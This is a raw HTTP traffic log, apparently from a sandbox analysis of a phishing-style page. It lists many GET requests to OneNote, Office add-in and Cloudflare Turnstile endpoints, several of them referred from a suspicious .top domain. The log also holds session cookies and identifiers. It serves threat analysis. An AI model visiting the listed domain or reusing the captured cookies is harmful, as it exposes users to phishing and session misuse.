Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/office.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8d80c7f0395d4869/1729844361920/700c4f3314d211d47b57a4101d6055ffa87d1ba8a06e1a345d238d93c9a7557b/enOZeqjBY10f4Q5 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/office.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c7f0395d4869/1729844361925/ULcuuj9FzFMW5qZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1Host: usc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /oa/WacOauth.aspx/LogLoadScriptResult HTTP/1.1Host: oauth.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c7f0395d4869/1729844361925/ULcuuj9FzFMW5qZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1257061762:1729843921:fbetIUB4PuBaj-kpOjWFbuBAII6sbImkf8piHbMmomo/8d80c7f0395d4869/cTFwOuSISxbtYcMvZEUKJJnLRaY.ZD5rDwTw.SAnFCg-1729844359-1.1.1.1-fUYaKlgVy1ZLFNTQN5NUiuOBDXdkFBVNFgmhytd.JzVDQuIcSEwOfsMH_jM1N0Sx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c836df1d4755&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=439a9db6924e4548b0f168f264a87318&HASH=439a&LV=202410&V=4&LU=1729844330519; MS0=e0191ec7c24143ff81af173b9243da2a
Source: global traffic	HTTP traffic detected: GET /officeaddins/RemoteUls.ashx HTTP/1.1Host: www.onenote.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c836df1d4755&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8d80c836df1d4755/1729844374085/dd70a4917b8df5aa0f8fde3cc43b14e01801363e54111349f82858020690aefb/Z1X90KRZrnO15Jo HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c836df1d4755/1729844374089/DckShhWThQsvEsd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c836df1d4755/1729844374089/DckShhWThQsvEsd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/108716333:1729840349:MNYBExQDb_OXX_5iH2pcoBn0kfPmYx9lZzGMR5dM-_8/8d80c836df1d4755/9gYrRX4_mXpfUfGJwMvbjMQte_yveaXpVkV1gwBL9hE-1729844371-1.1.1.1-FgoDOVBzJ9Zg_wZBd.4sezGSL36I5k5yYE.sz7BKlYBGbC6llPM6FNeK1RDPoRlf HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&build=16.0.18214.41004&waccluster=PUS11 HTTP/1.1Host: onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; ShCLSessionID=1729844349229_0.9147422252239774
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ffksdtexbdsdtexbdsdtexbsdtexbdsdtexbdsdtexb.thedagrouppseervicesdfrtycbgt.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c89969212cc4&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8d80c89969212cc4&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/288705193:1729840334:sRaDFh_5wkaOFbDBegsq3qEaLLwQYyThGHzWC0p4_to/8d80c89969212cc4/sIwbR4kBQDnaOJQEIVh2GB..IZQF0KK8gwzwcgRDIJM-1729844386-1.1.1.1-OYgRsaQSLA6VjeCKhAF0wLFFKh4DbyPv1snTWMDTpeEUztZhjph5MsUGvika6RH_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8d80c89969212cc4/1729844388924/rSvfPn8XhGh_Nsi HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zpfpa/0x4AAAAAAAyWJLKajdsL6TRH/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
